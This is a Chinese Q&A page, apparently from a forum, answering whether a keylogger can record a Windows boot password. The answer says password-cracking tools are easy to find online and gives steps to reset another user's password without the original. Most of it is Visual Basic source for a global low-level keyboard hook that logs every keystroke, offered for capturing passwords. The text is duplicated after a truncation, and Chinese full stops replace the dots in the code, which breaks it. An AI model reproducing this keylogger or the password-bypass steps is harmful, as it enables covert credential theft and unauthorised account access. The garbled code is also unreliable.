键盘记录器能记录开机密码吗
键盘记录可以,但输入密码时window还没进入呢
想要破解密码到网上找把这种软件多的是
暴力点的直接去掉:
对我的电脑点右键->管理->(左边)本地用户和组->右边双击用户->对你想去密码的用户点右键,设置密码(这个不需要原密码)点确定就行了
用键盘记录:
'先建一个工程
'要有一个窗体(Form1)和模块,窗体中加一个list1
'-----------------------窗体代码-------------------------
Public hHook
Private Sub Form_Load()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL,...全部
键盘记录可以,但输入密码时window还没进入呢
想要破解密码到网上找把这种软件多的是
暴力点的直接去掉:
对我的电脑点右键->管理->(左边)本地用户和组->右边双击用户->对你想去密码的用户点右键,设置密码(这个不需要原密码)点确定就行了
用键盘记录:
'先建一个工程
'要有一个窗体(Form1)和模块,窗体中加一个list1
'-----------------------窗体代码-------------------------
Public hHook
Private Sub Form_Load()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App。
hInstance, 0)
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnhookWindowsHookEx hHook
End Sub
'--------------------------模块代码----------------------------
Option Explicit
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const WM_SYSCHAR = &H106
Public Const WM_SYSCOMMAND = &H112
Public Type KEYMSGS
vKey As Long '虚拟码 (and &HFF)
sKey As Long '扫描码
flag As Long '键按下:128 抬起:0
time As Long 'Window运行时间
End Type
Public keyMsg As KEYMSGS '键盘消息
Public hHook As Long '创建的钩子的句柄
Dim Key1, Key2
Dim Keys1 As Boolean, Keys2 As Boolean
Public StrKey1 As String
Public StrKey2 As String
Dim StrTxts As String
Public Downed As Boolean
Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim lKey As Long
Dim strKeyName As String * 255
Dim strLen As Long
If idHook = HC_ACTION Then
CopyMemory keyMsg, lParam, LenB(keyMsg)
Select Case wParam
Case WM_SYSKEYUP, WM_KEYUP '判断是否为键盘消息
lKey = keyMsg。
sKey And &HFF '扫描码
lKey = lKey * 65536 '将扫描码左移16位,使位0~15置0
If keyMsg。
flag = 0 Or keyMsg。flag = 32 Or keyMsg。flag = 128 Or keyMsg。sKey = 54 Then
strLen = GetKeyNameText(lKey, strKeyName, 250) '获取该按键的名称
Else
strLen = GetKeyNameText((lKey Or &H1000000), strKeyName, 250) '位24为增强型键盘上的扩展位
End If
Form1。
List1。
AddItem strKeyName
End Select
End If
CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) '呼叫下一个钩子
End Function。收起